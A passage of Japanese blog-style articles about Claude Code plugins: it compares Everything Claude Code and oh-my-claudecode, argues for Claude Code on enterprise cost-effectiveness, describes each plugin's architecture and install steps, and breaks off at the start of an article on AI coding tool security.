OMCはECCより早い時期に登場しました。着実に発展してきたプロジェクトです。GitHub Starは2.8千個の水準です。² ECCよりは少ない数です。ただし初期のバイラル効果の差にすぎず、実際のユーザー基盤は相当なものです。前身にあたるOh-My-OpenCodeは、OpenAI OpenCode CLI側で人気を集めて検証されたアイデアでした。⁷ Claude Code用にフォーク/拡張される過程で機能追加が続きました。

GitHubのリリース記録基準では、v3.6.0（2026年1月26日付）が最新です。² その前も3.x系で数十回のマイナー/メジャーリリースがありました。² リリースノートによって、新しいエージェント、モード、最適化などが頻繁に追加されてきました。² これは、OMCチーム（主開発者のYeachan-Heoと貢献者たち）が活発に開発を継続してきたことを意味します。

コミュニティの規模はECCほど大きくありません。その代わり特化したユーザー層が存在します。RedditのClaudeCodeフォーラムなどでレビューやTipsが共有されます。Hacker Newsにも関連する議論が上がります。⁵ 何人かのユーザーがMediumに使用経験を寄稿して有用性を評価しています。⁶ またOMCはREADMEで、インスピレーションを与えたプロジェクトとしてECC、oh-my-opencode、claude-hudなどに言及しています。² オープンソースのエコシステムに対して協力的だという評価です。例えば、ECCの一部のアイデア（文脈管理など）をOMCも取り入れるといった相互補完に触れています。

結論

コミュニティの面では、ECCのほうが関心と支援が大きいといえます。資料もサポートも豊富です。ただしプロジェクトが非常に新しいものです。安定した長期サポートについてはもう少し見守る必要があります。一方でOMCは相対的に静かです。その代わり継続的な改善と忠実なユーザー層を確保しています。成熟度の面では安定しているという評価です。更新頻度はOMCのほうがはるかに高いといえます。新機能に早く触れられます。ECCは選別して主要なアップデートを出す保守的なリリース傾向を示します。導入に際して最新機能と素早い改善を望むなら、OMCの開発速度が利点になり得ます。検証された設定を慎重に適用したいなら、ECCのコミュニティガイドと相対的な人気から来る集合知を活用するほうがよいでしょう。

パフォーマンスおよび実行速度の比較

Everything Claude Code (ECC)

ECCは基本的に、Claude Code本来の性能の限界の中で最適化を追求します。¹ 一度に1つのリクエスト/レスポンスを処理するClaudeの流れを維持します。その代わり、文脈管理と反復作業の最小化によって効率を高めるという戦略です。

ガイドで言及されているToken OptimizationやPerformance rulesは、不要なトークン消費を減らすためにモデル選択とプロンプトのスリム化の原則を提示します。¹ エージェントの分離によって、メインの文脈が不必要に肥大化しないよう設計されています。¹ 例えば、コーディング中のテスト生成は/e2eコマンドで別のエージェントに任せ、本流をシンプルに保つといった具合です。¹

またECCは検証ループ（verify）を提供します。¹ コードを書く途中でテストを実行します。失敗したら修正するというチェックポイント方式を取ります。エラーを事前に捕まえて手戻りを防ぎます。セッションを長く維持し、最初から会話をやり直す必要を減らします。こうした方法で全体の時間を短縮する効果を狙います。

ただしECCは、単一インスタンスによる逐次実行の枠を超えません。絶対的な速度はClaude Codeの応答速度に準じます。複雑なプロジェクトではボトルネックが生じざるを得ません。大規模アプリケーションのコードを1つのセッションで最初から最後まで作ると、数十分以上かかることもあります。ECCはこれを根本的に加速することはできません。

その代わりECCの哲学は、「最初からきちんと書かせて反復回数を減らす」に近いといえます。AffaanがECCの設定でハッカソンにおいて8時間で複雑なWebアプリを完成させた事例を根拠として挙げています。³ 並列化はありませんでした。その代わり、設定の最適化によってClaudeが迷わず効率的に作業しました。時間の観点で見ると、ECCは個々の応答時間は同じです。その代わり、再試行/修正の回数を減らして総所要時間を節約します。小さなプロジェクトよりも、長時間のセッションが必要な大きなプロジェクトであるほど利点が発揮されます。

Oh My ClaudeCode (OMC)

OMCの性能戦略は、並列化と最適な資源活用に要約されます。² 複数のエージェントをまとめて動かします。サーバーとクライアントのモジュールを同時に開発できます。大きな問題を分割して並列に解決することもできます。実時間（wall-clock time）を短縮する効果を狙います。

Ultrapilotモードをオンにすると、Claude Codeのインスタンスを最大5個まで並列実行します。⁴ 3〜5倍の速度向上が期待できます。⁴ Swarmモードは作業単位を自動的に分割します。⁴ N個のエージェントが協働します。例えば10個の機能実装が必要なら、各エージェントが1つずつ担当して同時に進める線形の倍速を狙います。Pipelineモードは逐次です。その代わり、段階ごとに特化したエージェントが交代で投入され、専門性の効率を高めます。Ecomodeは速度をある程度維持しつつ、コスト（トークン）を節約できるよう小さな文脈で作業させます。²

OMCの並列化は、複雑なプロジェクトで大きな時間短縮につながります。Mediumのレビューによれば「複雑な作業も自動で並列化して効率的だ」という評価があります。⁶ ユーザーたちも複数のモードで速度が向上することを報告しています。特にralphというキーワードを付けて実行すると、作業が完全に終わるまで諦めずに試行を続けます。² 開発者が見守る必要なく最後まで自動的に完遂させてくれる利便性も加わります。

ただし、OMCの性能上の利点には前提条件があります。第一に、Claude APIやClaude Proのレート制限の許容量を活用できる必要があります。² Claude ProもAPIも、レート制限に基づいて同時リクエストを許可します。⁸ ただしAPIのティア（Tier 1〜4）によってRPM（毎分リクエスト数）とトークンの上限が異なります。低いティアでは並列エージェントを多く動かすとレート制限に早く到達し、並列化の利点が制限されることがあります。

第二に、並列化が常に線形の性能向上を保証するわけではありません。例えば5個の並列エージェントがそれぞれ多くのやり取りをすると、全体のトークン消費が大きく増えることがあります。⁵ 応答の遅延やコストの増加が発生し得ます。作業を分割する過程で相互依存があると、並列の効率は落ちます。こうした理由から「小さなプロジェクトではOMCが大きく有利とは限らない」という評価もあります。

結論

実行速度の面ではOMCが明確な優位を持つといえます。適切な状況で並列モードを活用すれば、ECC（および通常のClaude Code）と比べて全体の作業時間を大きく短縮できるからです。ただし効果は課題の性格とClaudeの利用条件に左右されます。ECCは速度よりも品質の維持とエラーの削減に焦点を置いています。直接比較するには質が異なります。まとめると、「時間をお金で買えるなら」OMCが有利です。「遅くても一度で正確に」を望むならECCのアプローチが有効です。状況に応じて2つの哲学を組み合わせて使うことも検討できます。

総合的な結論と推奨

2つのプロジェクトはいずれもClaude Codeを強化するツールです。目指す方向は異なります。

Everything Claude Code（ECC）は開発者に豊富なツールと指針を提供します。最適な開発習慣とパターンに従わせることで成果物を向上させるアプローチです。一方、Oh My ClaudeCode（OMC）は複雑な設定なしに複数のエージェントを自動で調整します。素早く結果を得ることに集中しています。

強みのまとめ

• ECCは機能的に包括的な開発補助セットです。長期的なコード品質とセッション管理に強いという評価です。¹
• OMCは速度と利便性に強みがあります。ユーザーの介入を最小化した自動化されたコード生成パイプラインを提供します。²

弱みのまとめ

• ECCは学習と手動の操作が必要です。習熟度に依存します。並列処理がないため、大規模な作業では時間の問題が生じることがあります。
• OMCには自動化の副作用があります。トークンコストの増加や、一部の不安定さへの懸念があります。⁵ 小さなプロジェクトでは過剰設計になり得ます。

実運用での導入検討

品質中心のプロセス（TDD、コードレビュー、セキュリティ順守など）を整えるなら、ECCの体系が役立ちます。プロジェクトの標準を確立し、Claudeを教育するような感覚で使えます。長期的に一貫した性能を得るうえで有利です。逆に、素早いプロトタイピングや時間が重要なプロジェクトであれば、OMCの並列エージェントで短期間に成果物を出す方式が効果的かもしれません。Claude Codeに慣れていない開発者も、OMCなら低い学習曲線で生産性を上げられます。²⁶

究極的には、2つのプロジェクトは相互排他的ではありません。必要に応じて併用することもできます。例えばECCのルールとフックで基本的な品質を押さえます。同時にOMCのUltrapilotモードで並列加速を併行するシナリオも理論上は可能に見えます。OMCはECCを参考にしながら発展しています。² 今後、両者の長所がさらに統合される可能性もあります。

結論として、「堅固な基盤の上でClaude Codeを運用」したいならEverything Claude Codeを優先的に導入してみる価値があります。「特に悩まずにClaude Codeの限界を突破」したいならOh My ClaudeCodeを優先的に導入してみる価値があります。それぞれの強みを理解して適用すれば、Claude Codeの活用度を大きく高められます。

この記事は2026年1月時点で書かれています。価格、使用量の制限、コンテキストウィンドウ、プラン構成は非常に速く変わるため、「原理・構造」を中心に読むことをおすすめします。

バイブコーディングツールは、いまや「何を使ってもだいたい動く」という段階に入りつつあります。そのため企業ユーザーやヘビーユーザーにとって、問いは自然に変わります。「最も賢いツールはどれか」ではなく、プロダクションで毎日使っても詰まらず、コストまで合理的なツールはどれか、という問いです。

先に結論から言うと、この記事を書いている2026年1月時点で、プロダクション利用を前提に性能・セキュリティ・価格・安定性を総合的に判断すると、Claude Code（特に上位プラン／チームプラン）が最も説得力のあるデフォルトです。この結論は、単なるモデル性能やツールの機能比較よりも、バイブコーディングの習熟度が上がれば上がるほど容易に実感できる「プロダクションレベルのコスパ」の構造的な差に基づいています。

TL;DR

• 企業とヘビーユーザーにとって重要なコスパは、月額料金よりも、ピーク作業時に詰まらないスループットと運用可能性です。
• Claude Codeは上位プランとチームプランを基準にすると性能・セキュリティ・価格・安定性のバランスが良く、デフォルトとして検討する価値があります。
• ツール選定ではトークン単価だけを見るのではなく、制限のかかり方、管理機能、監査可能性、チームの実際のワークフローのボトルネックまで併せて見る必要があります。

コスパを台無しにする本当の原因：トークンではなく「制限のかかり方」

現時点のAIコーディングツールは、トークン使用量の制限を直接見せてはくれません。代わりに「5時間あたりのメッセージ数」「1日あたりの作業数」「月間クレジットプール」といった形で使用量を抽象化しています。ユーザーは楽になりましたが、比較はより難しくなりました。同じ月200ドルでも、ある人は「5時間ウィンドウ」で詰まり、ある人は「クレジットプール」を使い切り、ある人は「作業数」の制限に引っかかります。

ヘビーユーザーや企業ユーザーにとって重要なのは、平均コストではなくピーク作業時のスケーラビリティです。スプリント終盤、障害対応、大規模リファクタリングのように「今日はトークンをたくさん使わなければならない日」があり、そのときにツールが詰まれば、結局は人がやらなければならない状況が生まれます。その瞬間からコスパは数字ではなく、チームのボトルネックコストになります。

企業／ヘビーユーザーが見る「プロダクションコスパ」の基準

企業における「コスパ」は、単純な月額ドルではありません。おおよそ次のような形です。

第一に、スループットです。同じ時間でより多くの作業を終わらせてくれるか、そして重要な日に制限で詰まらないかが核心です。

第二に、運用性です。SSO／SCIM／監査ログ／権限といった管理機能がなければ、セキュリティチームやコンプライアンスチームが結局は止めます。ツールのコストよりも「承認を得るコスト」のほうが大きいのです。

第三に、予測可能性です。ヘビーユーザーは習熟が進むほど、より大きな単位で仕事を任せ（より長いコンテキスト）、より頻繁に繰り返し実行し（より多くの呼び出し）、より多くのドキュメントを作ります（より多くのトークン）。成熟度が上がるほど、コスト構造は「チームを殺さない形」でなければなりません。

なぜモデルプロバイダーのツールが有利になるのか：非線形な使用量と最適化

ここで重要な差が出てきます。モデルプロバイダーが自ら作るバイブコーディングツールは、「プランのアップグレードに対する使用量」を非線形に設計しやすいのです。言い換えれば、100ドルから200ドルに上がったときに「ちょうど2倍」ではなく、業務の性格に応じてそれ以上のヘッドルームを開いてくれる構成が可能になります。

たとえば（数値は理解のための例です）、Claude Code Maxで月200ドルのプランが100ドルのプランに比べて5倍水準まで使用量の上限を開いてくれるケースがあります。一方、Amazon Kiroのように従量課金に近いモデル利用は、200ドルが100ドルのちょうど2倍のトークンを「購入」する構造に近いものです。この差は、バイブコーディングの成熟度が上がってトークンをより多く燃やし始めたときに劇的に表れます。より多く使う組織ほど、非線形な区間が存在すること自体がそのままコスパになります。

もう一つはトークンの無駄の構造です。モデルプロバイダーが自ら作るツールは、プロンプトキャッシング、コンテキスト圧縮、内部ルーティングといった最適化を製品レベルで設計しやすくなっています。逆にサードパーティのツールは、プロキシ層や追加のオーケストレーションによってシステムプロンプトが長くなったり呼び出しが増えたりして、「同じ結果」を出すのに総トークンがより多くかかることがあります。ヘビーユーザーにとって、この差は月末ではなく「毎日」実感されるものです。

（参考）200ドル前後のプランでの制限のかかり方はこれだけ違う

以下の表は「価格」ではなく、作業のピーク時に「詰まるポイント」の感覚をつかむための要約です。数値は調査時点のものであり、方針の変更が多いので、必ず最新情報を確認してください。

この表で最も重要なメッセージは一つです。「200ドル」は同じでも、制限のかかり方はまったく違うということです。だからこそヘビーユーザーのコスパは、「トークン単価」よりも「自分のワークフローでどこが先に詰まるか」で決まります。

企業向け料金プランで本当のコスパは「使用量」ではなく「統制力」から生まれる

企業プランを見ると、月額コストが似て見えても、実際の導入を左右するのは使用量ではなく管理機能である場合が多くあります。SSO／SCIM／監査ログがあってこそ、アカウントと権限を組織のポリシーに合わせて運用でき、セキュリティ事故や法令順守の問題が起きたときに「どの入力がどの結果を生んだのか」を追跡できます。特にヘルスケアや金融のように規制順守が厳しい業種では、こうした機能がそのまま導入可能性を決定します。

そのため企業ユーザーにとってのコスパとは、結局「安いツール」ではなく「承認を得て回せるツール」に近いものになります。この観点でモデルプロバイダー／クラウドネイティブのツールが有利な理由は、コストと使用量よりも先に管理・監査・法令順守のパッケージを完成させておく場合が多いからです。

サードパーティツールのコスパは「マージン＋オーバーヘッド」まで含めて見るべき

サードパーティのIDEが悪いという意味ではありません。複数モデルを一つの画面で切り替えたり、チーム単位のクレジットプールを回したりする体験は実際に強力です。ただしヘビーユーザー基準では「隠れたコスト」が生じます。たとえばクレジットプールのモデルは柔軟ですが、内部的にAPI価格にマージンが乗ったり（調査基準で約20%水準）、エージェントのオーケストレーションが有効になるほど呼び出しが増えて、思ったより速くクレジットが溶ける状況が出てきます。

一方、クレジットを非常に精密に計測して超過分の単価が明確な構造（たとえばクレジットベースの超過料金）は、予算管理に役立ちます。ただしこうした構造は通常「線形」に近いため、先に述べた「非線形な使用量（ヘッドルーム）」とは性格が異なります。企業が何をより重視するかによって選択は分かれます。

結論：2026年のデフォルトはClaude Codeです（企業／ヘビーユーザー基準）

企業／ヘビーユーザーの立場で「プロダクションレベルのコスパ」は、結局**（1）ヘッドルームが潤沢で、（2）運用機能があり、（3）成熟度の上昇に伴って有利になるコスト構造**を同時に満たさなければなりません。この観点で2026年のデフォルトは、Claude Codeが最も説得力を持ちます。特に上位プランやチーム／エンタープライズプランで「プランのアップグレードに対して使用量が非線形に増える区間」が存在するなら、バイブコーディングの成熟度が上がるほどコスト面の利点はさらに大きくなります。

ただしこの結論は「常に無条件で」というわけではありません。モノレポ全体を一度に飲み込む必要のある分析作業が多いなら、1Mコンテキストを強力に提供するエコシステムが有利になり得ますし、AWSネイティブ統合と予算の予測可能性が最優先ならクレジットベースのツールのほうが合うかもしれません。それでも、ほとんどの組織で最初に出せる最も安全な答えは、依然として「モデルプロバイダーが直接提供するツール — Claude Code、Gemini/Antigravity、Codex — をデフォルトに置いて運用を設計せよ」です。

“Don’t learn Claude Code. Just use OMC.”（Claude Codeを学ぶな。OMCを使え。）– oh-my-claudecode README¹

oh-my-claudecode（OMC）は、Claude Codeに「マルチエージェント・オーケストレーション」を載せるプラグインです。¹ ユーザーがサブエージェント、スキル、フックといった概念を一つずつ学習しなくても、自然言語のリクエストを手がかりに必要な振る舞い（計画／並列化／継続実行／リサーチ／デザイン感覚）を自動で有効化する ことを目指しています。

本稿は、OMCについて「何を解決しようとするプラグインなのか」「なぜClaude Codeでこの方式が合理的なのか」「どのようなワークフローで特に強いのか」を一度に読み通せる形にまとめた技術レポートです。

oh-my-claudecode

TL;DR

• OMCは、Claude Codeのサブエージェント、スキル、フックを束ね、自然言語のリクエストだけで必要な作業モードを自動的に組み合わせるプラグインです。
• 中核的な価値は、コマンド学習の負担を減らし、計画・並列化・リサーチ・デザイン感覚といったワークフローをClaude Codeの中で自然に有効化する点にあります。
• 特に、複雑な開発作業を役割ごとに分割し、最後までやり切る必要がある場面で生産性を高めてくれます。

1. プロジェクト概要

OMCが掲げる一行の要約は「Multi-agent orchestration for Claude Code. Zero learning curve.」です。¹ 要点は二つあります。

1. 自動委任（delegation-first）：「複雑な作業だ」と言えば、設計／リサーチ／実行／QAといった専門的な役割に分割して並列に走らせます。
2. 自動モード切り替え：「plan this」「don’t stop until done」といった表現を検知し、計画インタビューや継続実行（完了保証）の性向をオンにします。

リポジトリが公開している「Under the hood」構成図は、OMCが単なるプロンプト集ではなく、Claude Codeの拡張ポイント（agents／skills／hooks／statusline）を束ねて 実運用のワークフロー に仕立てたパッケージであることを示しています。¹

2. インストールと利用の流れ（本当に30秒）

READMEに基づく利用の流れはシンプルです。¹

/plugin marketplace add https://github.com/Yeachan-Heo/oh-my-claudecode
/plugin install oh-my-claudecode
/oh-my-claudecode:omc-setup

インストール後は「コマンドを覚える」のではなく、普段どおりに仕事を任せるだけです。OMCが文中のヒントを読み取り、内部で適切なスキルやサブエージェントを組み合わせます。¹

3. なぜ「スキル合成」が核心なのか

OMCが興味深いのは、「Claude Codeの制約」を正面から受け入れているからです。Claude Codeは、会話の「マスター」を別のエージェントに差し替える方式ではなく、固定されたマスターにスキルを注入（inject）する方式で振る舞いを変えます。²

OMCはこの構造を「レイヤー」として整理します。²

[Execution Skill] + [0-N Enhancement Skills] + [Optional Guarantee]

たとえば「UI作業＋複数ファイルの修正＋コミットまで」が必要な場合は、実行（基本）レイヤーの上にfrontend-ui-uxやgit-masterといった補強レイヤーを重ねる、という具合です。² つまり、モードを「乗り換える」のではなく 振る舞いを「重ね着する」方式 なので、文脈が途切れません。

4. パワーユーザーのための「マジックキーワード」

ほとんどは自動ですが、必要ならキーワードで強制することもできます。¹

そして止めたいときは「stop/cancel/abort」のように言えば、文脈に合わせて中断します。¹

5. OMCが提供する「パッケージ」の構成

公式ドキュメントによれば、OMCは大きく次のものを一度に提供します。¹³

• 特化エージェントのセット（27個）：architect、researcher、designer、writer、critic、planner、qa-testerなどの役割群（ティア別のバリエーションを含む）¹
• スキルのセット（28個）：orchestrate、ultrawork、ralph、planner、git-master、frontend-ui-ux、learnerなど¹
• HUD Statusline：オーケストレーションの進行状況をClaude Codeのステータスバーに要約表示¹
• メモリ／ノートシステム：コンテキストのコンパクション後も重要な情報を残そうとする3階層メモリの構想（優先度／作業メモリ／手動ノート）³

具体的な内部動作とルーティングの哲学は、docs/ARCHITECTURE.mdで「スキルベースのルーティングをいかにオペレーティングシステムのように作るか」という観点から説明されています。²

6. どんなときに特に有用か／トレードオフは何か

OMCは特に次のような状況で光ります。

1. マルチファイル・マルチ役割の作業：設計・実装・検証を同時に進める必要がある機能開発
2. コンテキストが頻繁に崩れる長期セッション：ノートやメモリで「忘れてはならないこと」を残すパターン
3. 計画は必要だが時間はかけたくないとき：「plan」の一言で計画インタビューを強制する流れ

逆に、明確なコストもあります。

1. トークン・時間・コストの増加：並列化と補強スキルは、基本的により多くの呼び出しと思考を誘発します。
2. 自動化の不透明さ：「なぜ今この行動をしたのか」がすぐには理解できないことがあります。
3. プラグイン運用のリスク：自律実行が強力であるほど、権限やガードレール（コマンドの中断、範囲の制限）により敏感になります。

7. おわりに

oh-my-claudecodeは「Claude Codeをうまく使うコツ」を超えて、Claude Codeをチームのように使うためのデフォルト値のセット を提供します。¹ スキル合成というClaude Codeの構造を正面から活用し、ユーザーは自然言語で指示し、システムは自ら計画・並列・完了保証を組み立てます。Claude Codeを「ツール」ではなく「運用環境」として捉える人であれば、OMCはかなり説得力のある出発点になるでしょう。

参考資料

• Yeachan Heo, oh-my-claudecode (GitHub)
• oh-my-claudecode, ARCHITECTURE
• oh-my-claudecode, Full Reference Documentation
• Anthropic, Claude Code Docs

「AIをチームとして迎え入れるには、ツールよりもプロセスを先に設計しなければならない。」– Anthropic x Forum Venturesハッカソン優勝者 Affaan Mustafa

Everything Claude Codeは、Claude Code CLIを仮想的な開発チーム環境へと変貌させる設定集です。ハッカソン優勝者が10か月にわたって実際のスタートアップ製品を作りながら磨き上げたレシピが1つの公開リポジトリに集約されており、これを適用するとClaudeを「シニアエンジニア＋QA＋アーキテクト」として呼び出せます。¹ リポジトリはGitHubで誰でも確認できます。

Everything Claude Code

本稿は、リポジトリの構造、Claude APIの活用方式、技術スタック、そしてハッカソン優勝につながった差別化要素を一望できるようにまとめた技術レポートです。最後には現時点での限界と改善のアイデアも添えました。

TL;DR

• Everything Claude Codeは、Claude Code CLIを役割分担された仮想的な開発チームのように運用するための設定集です。
• エージェント、スキル、スラッシュコマンド、ルール、フックを組み合わせて、計画・TDD・レビュー・ドキュメント化を反復可能なフローに仕立てます。
• 核心は、ツールをたくさん付け足すことではなく、必要な文脈とガードレールだけを有効にしてClaudeが安定して働けるようにすることです。

1. プロジェクト概要

Everything Claude Codeは、「Claudeを多役割のエージェントチームとして運用せよ」という明確な哲学のもとで設計されています。¹ メインセッションがプロジェクトマネージャーの役割を担い、細かな作業はさまざまなサブエージェントが並列で遂行します。作者はこの構成で2025年9月のAnthropic x Forum Venturesハッカソンにおいて、zenith.chatを完全にClaude Codeだけで開発して優勝したという実践事例も共有しています。²

中核となる価値提案は3つです。

1. 役割分離: 役割ごとにプロンプト、ツール権限、トーンを分離してLLMの集中度を高めます。
2. プロセスの標準化: /plan、/tdd、/code-reviewといったスラッシュコマンドで開発ルーティンを自動化します。
3. 品質のガードレール: ルール・スキル・フックを組み合わせてセキュリティ、テスト、スタイルを強制します。

この哲学を土台に、リポジトリ全体が「AIがプロジェクトの履歴を学習し、ツールを自ら実行する」完成形の開発パイプラインを構成しています。

2. リポジトリの構造とアーキテクチャ

リポジトリは、Claude Codeに必要な文脈を役割ごとのフォルダに分けて管理しています。実際の利用者は、必要なファイルを自分の~/.claude、あるいはプロジェクトルートの.claudeにコピーして有効化します。

2.1 Agents

agents/は役割特化型プロンプトの集まりです。planner、architect、code-reviewer、security-reviewer、tdd-guide、build-error-resolver、e2e-runner、refactor-cleaner、doc-updaterなどが代表的です。² 各ファイルはYAMLフロントマターでモデル（opus）、許可ツール（Read、Grep、Bashなど）、説明を定義し、本文には役割ごとの指針を収めています。ツールを最小化して集中度を高め、エージェント間の役割衝突を防ぐことが設計の中心的な視点です。

2.2 Skills

skills/はチームで共有する業務マニュアルです。coding-standards.md、backend-patterns.md、frontend-patterns.md、security-review/、tdd-workflow/などが含まれます。² 特にtdd-workflowはRED→GREEN→REFACTORのループとカバレッジ80%という要件を詳細に明示しており、Claudeがテスト駆動開発を自動的に思い出すようにしています。スキルは全社共通（~/.claude/skills）とプロジェクト専用（.claude/skills）に分けて運用できます。

2.3 Commands

commands/には/plan、/tdd、/e2e、/code-review、/build-fix、/refactor-clean、/test-coverage、/update-docsなどのスラッシュコマンド用プロンプトがあります。² ユーザーがチャット欄でコマンドを入力するだけで、その手順に沿ったプロンプトが読み込まれ、必要なスキルやエージェントが呼び出されます。おかげで「機能の計画 → TDDの実行 → コードレビュー → ドキュメント同期」といった一連の開発フローをボタンのように実行できます。

2.4 Rules

rules/は常に適用されるガードレールです。security.md、coding-style.md、testing.md、git-workflow.md、agents.md、performance.md、patterns.md、hooks.mdなどにモジュール化されており、Claude Codeはこのフォルダのすべてのルールをシステムプロンプトへ自動的に挿入します。たとえばtesting.mdは「カバレッジ80%未満のPRは禁止」というルールを明示し、モデルがテストの省略を許さないようにしています。

2.5 Hooks

hooks/hooks.jsonは、Pre/Post ToolUseのタイミングで実行する自動化スクリプトを定義します。例としては、TypeScriptファイルの編集後にconsole.logが残っていれば警告するフックや、セッション終了前にフォーマッターを走らせるフックなどがあります。² フックマッチャーでツール名やファイルパターンを指定し、Bashコマンドや追加コマンドを実行するように構成します。反復的なミス（デバッグコードの放置、テストの漏れなど）を自動で監視するセーフティネットの役割を果たします。

2.6 MCP設定

mcp-configs/は、GitHub、Supabase、Vercel、Railway、ClickHouseなど多数のMCPサーバー設定テンプレートを提供します。¹ ユーザーは必要な項目を~/.claude/settings.jsonに貼り付けてAPIキーを埋めれば、Claudeが直接それらのサービスAPIを呼び出せるようになります。READMEは「有効なMCPはプロジェクトあたり10個以下、ツール全体は80個以下」というガイドも示しています。過剰なMCPの有効化はコンテキストウィンドウを侵食し、モデルの性能を落とすためです。

2.7 Plugins & Examples

plugins/は、Claude Skills Marketplaceと外部プラグインのインストール方法を案内する文書群です。examples/フォルダにはプロジェクトレベル（CLAUDE.md）とユーザーレベル（user-CLAUDE.md）の設定例、カスタムstatusline.jsonなどが含まれており、新規ユーザーはそのままコピーして始められます。結果としてリポジトリ全体が「リファレンス実装＋テンプレート」の役割を兼ねています。

3. Claude API活用の原則

Everything Claude Codeが強調するAI活用の原則は、次の4つに要約できます。

1. マルチエージェントの並列化
   メインセッションが大きな方向性を定め、細部の作業はサブエージェントが委譲を受けて遂行します。各エージェントは自分のドメイン文脈だけを扱うため、応答の品質と速度が安定して保たれます。¹

2. TDD・テストファースト
   /tddコマンドとtdd-workflowスキルによってRED→GREEN→REFACTORのサイクルを強制し、testing.mdルールでカバレッジ80%以上を要求します。Claudeは機能リクエストを受け取ると、常にテスト追加の必要性を想起させます。

3. セキュリティ・品質のガードレール
   security.mdは秘密鍵のハードコーディング禁止、入力検証、エラー処理、脆弱なライブラリの検査などを明文化しています。/code-reviewコマンドとcode-reviewerエージェントは、AIが書いたコードを再びAIがレビューするようにして自己精製ループを形成します。

4. コンテキスト予算の管理
   MCP・ルール・スキル・ツールが増えるほどシステムプロンプトは肥大化するため、READMEは「必要な設定だけを有効化すること」を繰り返し強調しています。² プロジェクトごとに最小構成として集中力を保つことが、Claude活用の効率を決めます。

これらの原則があるからこそ、Claude Codeは単なるコード自動補完ツールではなく、プロンプトエンジニアリング＋ワークフローエンジンとして機能します。

4. 使用技術スタックとツールチェーン

Everything Claude Code自体はMarkdown・JSONベースの設定集ですが、その背景には次のようなスタックが敷かれています。

• Anthropic Claude Code CLI: システムプロンプトを組み立て、LLMとツール呼び出しを仲介するランタイムです。最新のOpus/Sonnetモデルをサポートします。
• MCPサーバー群: GitHub、Supabase、Vercel、Railway、ClickHouseなど主要SaaS向けのMCPテンプレートを提供し、Claudeが直接APIを呼び出せるようにします。¹
• テスト＆品質ツール: /e2eコマンドはPlaywrightの実行を前提に設計されており、testing.mdはJest/VitestなどのJSテスティングスタックを内包しています。/build-fixはNode/Viteのビルドエラーを扱えるように書かれています。
• フロントエンド/バックエンドのパターン: frontend-patterns.mdにはReact/Next.jsの指針、backend-patterns.mdにはAPI・DB・キャッシュのベストプラクティスが整理されています。clickhouse-io.mdのように特定のデータ技術に関するスキルも存在します。

つまり、リポジトリは「言語/フレームワーク中立」を標榜しつつも、第一のターゲットはTypeScriptベースのフルスタックWeb製品です。他の言語やドメインで使うには、追加のスキルを書く必要があります。

5. ハッカソン優勝につながった差別化要素

ハッカソンでEverything Claude Codeが発揮した競争力は、5つに整理できます。

1. 役割の並列化: 設計・実装・テストを異なるエージェントが同時に処理し、開発のボトルネックを減らしました。
2. 標準化された開発ルーティン: /plan → /tdd → /code-review → /update-docsの順序が自動化され、機能ごとのサイクルが短く一定でした。
3. フルスタックの自動化: MCPのおかげでClaudeがGitHubのIssue、Supabaseのクエリ、Vercelのデプロイなどを直接実行し、人間は製品ロジックだけに集中できました。³
4. フックによる安全装置: console.logの除去やテスト漏れの警告といったフックがミスを早期に捕まえ、品質を維持しました。
5. 実戦で検証されたノウハウ: 作者が実務で繰り返し検証したプロンプトやルールを収めているため、「一度使ってみた程度の洞察」ではなく「磨き上げられたフレームワーク」でした。

この組み合わせのおかげで、短時間でも高い品質を保つ「AI主導のチーム」が実現し、それがハッカソンでの差別化要素として機能しました。

6. 技術的な限界と改善の方向性

いかに完成度が高くとも、解決すべき課題は依然として存在します。

1. コンテキストウィンドウの限界
   MCP・ルール・スキルを過度に有効化すると、Claudeが使えるトークンが減り、長時間セッションで文脈の欠落が生じます。動的なコンテキスト読み込みや、必要な時点ごとに設定を差し替える機能が今後の補完ポイントです。

2. モデルのコストと可用性
   Opusモデルは遅く、コストも高くなります。利用量が増えるほど負担が大きくなるため、Sonnetや他モデルへの自動フォールバック戦略が必要です。Anthropic以外のモデルを差し込める抽象化レイヤーも検討に値します。

3. オンボーディングの難度
   エージェント・スキル・フックの概念をすべて理解する必要があるため、初期の学習曲線が急です。対話型の設定ウィザードやGUIベースの設定管理があれば、導入の障壁を下げられます。

4. ドメインの偏り
   現在のスキルはJS/TSのWebサービスに最適化されています。組み込み、データサイエンス、モバイルなど他ドメイン向けのスキル/コマンドをコミュニティが追加し続けてこそ、汎用フレームワークになります。

5. 実行の安全性
   Bash権限を与えられたエージェントが誤ったコマンドを実行するリスクは依然として残ります。コマンドの2段階承認、サンドボックスモード、/dry-runコマンドといった保護装置が今後必要になる理由です。

6. パフォーマンスの最適化
   すべての作業をAIが説明しながら実行すると、速度が遅くなり得ます。応答のキャッシュやエージェント間の結果共有といった最適化がなければ、「速くコーディングする」体験からは遠ざかります。

7. おわりに

Everything Claude Codeは単なる設定ファイルの寄せ集めではなく、AIと共に働く方法を設計したオペレーティングシステムに近い存在です。役割単位のプロンプト、テスト中心のルール、フックによる自動化、MCP連携が組み合わさることで、「AIをどうチームメンバーとして使うか」という問いに具体的な答えを示しています。同時に、コンテキスト管理・オンボーディング・ドメイン拡張といった課題も明確です。このリポジトリを自分のプロジェクトへ移植し、組織のプロセスとドメイン知識を上乗せした瞬間、AIはもはや補助ツールではなく持続可能な開発パートナーになります。

参考資料

• Affaan Mustafa, Everything Claude Code Repository (GitHub)
• Tilnote, Everything Claude Code まとめ
• JP Caparas, The Claude Code setup that won a hackathon
• MCP Servers Catalog
• Tatsuya Takasaka, Zenn: Anthropicハッカソン優勝者のClaude Code設定解説

最近では「AIでコーディングをする」という言葉はもはや特別ではありません。すでにニューノーマルです。コーディングができることは当然の前提となり、現時点のAIツールはビジネスにおいてはるかに多くの仕事をこなします。

それでも多くの企業は導入段階で足踏みします。理由はいつも同じ、セキュリティです。今日はエンタープライズ企業の立場から、AIコーディングエージェント、とりわけプロダクションレベルのバイブコーディングで最も多く選ばれているClaude Codeを取り巻くセキュリティ上の懸念を、真実と嘘に分けてお話ししてみようと思います。

TL;DR

• AIコーディングツールのセキュリティは漠然とした不安ではなく、契約条件、データ保存、実行環境、権限統制として具体化すべきです。
• Claude Codeのようなエージェント型ツールはオートコンプリートのプラグインより広い攻撃対象領域を持つため、隔離とアップデート管理が必須です。
• 企業は製品設定だけを見るのではなく、サンドボックス化、ネットワーク統制、DLP、監査ログまで含めた運用モデルを作らなければなりません。

学習データ流出の真実

